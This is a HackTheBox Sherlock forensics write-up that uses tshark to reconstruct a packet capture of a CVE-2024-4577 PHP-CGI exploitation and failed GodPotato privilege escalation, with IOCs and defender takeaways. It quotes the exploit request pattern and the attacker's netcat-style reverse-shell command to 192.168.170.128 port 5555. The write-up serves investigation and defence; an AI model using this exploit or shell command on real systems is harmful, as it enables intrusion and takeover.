// HackTheBox  ·  writeup

Packet Puzzle

HackTheBox Easy tsharkWireshark
SOC

Scenario

This is a Sherlock machine designed for investigation, challenging you to uncover the story behind a cyberattack. Your mission is to analyze the provided PCAP file to identify and interpret suspicious network activity. The attacker leveraged CVE-2024-4577, exploiting known vulnerabilities to gain an initial foothold on the target system, followed by an attempt to perform privilege escalation.

Executive Summary

An attacker on the local network port-scanned a Windows workstation and found a web server running PHP in CGI mode. They exploited a PHP-CGI argument injection with a single crafted POST that turned the request body into PHP code, and used it to launch a PowerShell reverse shell. Through that shell they confirmed the victim account, downloaded a public Potato-family privilege escalation binary and ran it in memory with a command that was meant to call back to the attacker. The exploit failed with a process-creation error, so the attacker never got past the low-privileged user. The whole chain is visible in one packet capture.

Artifacts

Timestamp note: The capture records local time at +1100. The timestamp question wants UTC, so subtract eleven hours from what tshark prints by default.

Discovery

Q1 — What is the source IP address of the attacker involved in this Attack?

Start with the IP conversation table to see who talks to whom. One internal host exchanges a huge number of short flows with a single other host, which is the signature of a scan, and the same host later sends the HTTP exploit requests. The other side of that pair is the victim.

tshark -r NetworkTraffic.pcap -q -z conv,ip
Click flag to reveal 192.168.170.128
Q2 — How many open ports did the attacker discover on the victim's system?

A SYN scan leaves the answer in the replies. An open port answers a SYN with a SYN-ACK, a closed one with a RST. Filter for SYN-ACKs from the victim back to the attacker (tcp.flags.syn==1 && tcp.flags.ack==1) and list the distinct source ports. The set is a typical Windows workstation: SSH, SMB, RDP, RPC, NetBIOS, HTTP, HTTPS and the WSD port.

tshark -r NetworkTraffic.pcap -Y 'ip.src==192.168.170.130 && ip.dst==192.168.170.128 && tcp.flags.syn==1 && tcp.flags.ack==1' -T fields -e tcp.srcport | sort -n | uniq
Click to reveal answer 8
Q3 — What is the first open port that responded on the victim's system during reconnaissance?

Same filter as Q2, but keep the frame order instead of deduplicating. The first SYN-ACK in the capture (frame 9045) marks the first open port to answer the scanner. It is not the lowest-numbered port you might expect from a sorted list, so read it from the frame order, not from the sorted set.

tshark -r NetworkTraffic.pcap -Y 'ip.src==192.168.170.130 && tcp.flags.syn==1 && tcp.flags.ack==1' -T fields -e frame.number -e tcp.srcport | head -1
Click flag to reveal 22

Initial Access

Q4 — What is the CVE identifier for the vulnerability exploited by the attacker?

Pull the HTTP requests sent from the attacker. The exploit POSTs use a request URI beginning with /?%ADd+allow_url_include... and set auto_prepend_file=php://input. The %AD is a soft hyphen that Windows best-fit character mapping converts into - when PHP-CGI builds its command line, which smuggles in PHP options. That is the argument injection in PHP-CGI on Windows, and the scenario already names the CVE it belongs to.

tshark -r NetworkTraffic.pcap -Y 'ip.src==192.168.170.128 && http.request' -T fields -e frame.number -e http.request.method -e http.request.uri
Click to reveal answer CVE-2024-4577
Q5 — What is the name and version of the vulnerable product exploited to get RCE?

The server’s own response headers give the version. Read the Server header on the replies to the exploit requests: Apache with OpenSSL and PHP on a Win64 build. The answer is the PHP component, which is where the vulnerability lives, not Apache.

tshark -r NetworkTraffic.pcap -Y 'http.response' -T fields -e http.server | sort | uniq -c

Tip: The format mask shows a three-letter name and a three-part version, so the product is PHP, not Apache.

Click flag to reveal PHP 8.1.25
Q8 — What is the MITRE ATT&CK technique ID used by the attacker to gain an initial foothold?

Exploiting a flaw in an internet-facing web application to run code is Exploit Public-Facing Application. This is reference knowledge rather than something read from the capture; the evidence for it is the Q4 exploit request.

Click to reveal answer T1190

Execution

Q7 — At what timestamp did the attacker execute the command to gain their initial foothold on the victim system?

From Q4 the exploit body is PHP read from php://input. Dump the POST bodies and find the one whose payload starts a PowerShell reverse shell. That request is frame 12133, and its time is the moment of the foothold. The HTTP bodies are readable because the traffic is plain HTTP.

tshark -r NetworkTraffic.pcap -Y 'http.request.method==POST' -T fields -e frame.number -e frame.time -e frame.time_epoch -e http.file_data

Gotcha: tshark prints the capture’s local time (+1100), and that value is rejected. The accepted answer is the same instant in UTC, eleven hours earlier.

Click flag to reveal 2025-01-22 09:47:32
Q6 — What is the username of the victim account?

The reverse shell connects back to the attacker on port 4545. Follow that TCP stream and read the first commands the attacker types. The output of whoami prints the machine name and the account the web server runs as, in HOST\user form.

tshark -r NetworkTraffic.pcap -q -z follow,tcp,ascii,0 -Y 'tcp.port==4545'
Click to reveal answer cristo

Privilege Escalation

Q9 — What is the name of the malicious executable the attacker downloaded and executed in memory to facilitate privilege escalation on the endpoint?

Later in the same reverse shell stream, the attacker runs iwr (Invoke-WebRequest) against GitHub to fetch a Potato-family exploit. The file name in that URL is the answer. It is a .NET 4 build of GodPotato, which abuses the impersonation privilege that service accounts like a web server’s usually hold.

tshark -r NetworkTraffic.pcap -q -z follow,tcp,ascii,0 -Y 'tcp.port==4545'
Click flag to reveal GodPotato-NET4.exe
Q10 — What is the command line used by the attacker while performing privilege escalation?

Right after the download, the same stream shows the attacker running a renamed copy of the binary with -cmd, so GodPotato would run a second command as SYSTEM. That command is a netcat-style tool, renamed to look like a Windows component, connecting back to the attacker on port 5555 to hand over a SYSTEM shell. Copy the line exactly as typed, including the leading ./.

tshark -r NetworkTraffic.pcap -q -z follow,tcp,ascii,0 -Y 'tcp.port==4545'
Click to reveal answer ./TimeProvider.exe -cmd "time.exe 192.168.170.128 5555 -e cmd"
Q11 — The attacker failed to escalate privileges and was given an error. What is the error?

The tool’s output follows the command in the same stream. GodPotato reports a failure to create the process, with Win32 error 2 (file not found), and no SYSTEM callback follows. Copy the message exactly, including the Win32Error:2 suffix.

tshark -r NetworkTraffic.pcap -q -z follow,tcp,ascii,0 -Y 'tcp.port==4545'
Click flag to reveal Cannot create process Win32Error:2

Attack Summary

PhaseAction
DiscoverySYN scan of the victim from 192.168.170.128; eight open ports found, SSH answers first
Initial AccessCVE-2024-4577 exploit POSTs against PHP 8.1.25 behind Apache on Windows
ExecutionPowerShell reverse shell launched from the exploit body, calling back on port 4545
Discoverywhoami confirms the web server runs as cristo
Privilege EscalationGodPotato-NET4.exe downloaded from GitHub with iwr
Privilege EscalationRenamed copy run with -cmd to start a SYSTEM reverse shell on port 5555
Privilege EscalationExploit fails with Cannot create process Win32Error:2; attacker stays unprivileged

IOCs

TypeValue
IP (attacker)192.168.170[.]128
IP (victim)192.168.170[.]130
Port (reverse shell)4545
Port (intended SYSTEM shell)5555
FileGodPotato-NET4.exe
File (renamed tooling)TimeProvider.exe, time.exe
VulnerabilityCVE-2024-4577

MITRE ATT&CK

TechniqueIDDescription
Network Service DiscoveryT1046SYN scan of the victim’s TCP ports
Exploit Public-Facing ApplicationT1190CVE-2024-4577 request against PHP-CGI
Command and Scripting Interpreter: PowerShellT1059.001Reverse shell launched from the exploit body
Ingress Tool TransferT1105GodPotato fetched from GitHub with iwr
Exploitation for Privilege EscalationT1068GodPotato attempted to reach SYSTEM; failed

Defender Takeaways

Patch or retire PHP-CGI on Windows. CVE-2024-4577 is fixed in current PHP releases, and the exposed server here ran an affected build behind Apache. Move to PHP-FPM or mod_php where possible, and block requests whose query string carries encoded soft hyphens (%AD) at the WAF.

Plain HTTP made the whole intrusion readable. Exploit bodies, the reverse shell and its output all crossed the wire unencrypted, which is the only reason one capture tells the full story. Network sensors with HTTP body inspection can flag php://input and allow_url_include in a request without any host telemetry.

Alert on a web server process spawning a shell. The exploit makes the PHP or Apache process start PowerShell, then reach out to the attacker on an unusual port. A parent-child rule for web server to powershell.exe, plus egress filtering for ports like 4545 and 5555, would catch the shell and its fallback.

The failed privilege escalation was luck, not control. The service account held the impersonation privilege that Potato exploits need, and the attempt only failed because the chained command could not be found. Run web services under a restricted virtual account, strip SeImpersonatePrivilege where it isn’t needed, and alert on downloads from GitHub raw or release URLs by server processes.

Conclusion

The attacker went from a port scan to a remote shell with one crafted request, then tried a public Potato exploit and was stopped only by a path error in their own command. The detection value was in the web server spawning PowerShell and calling out, not in the exploit itself.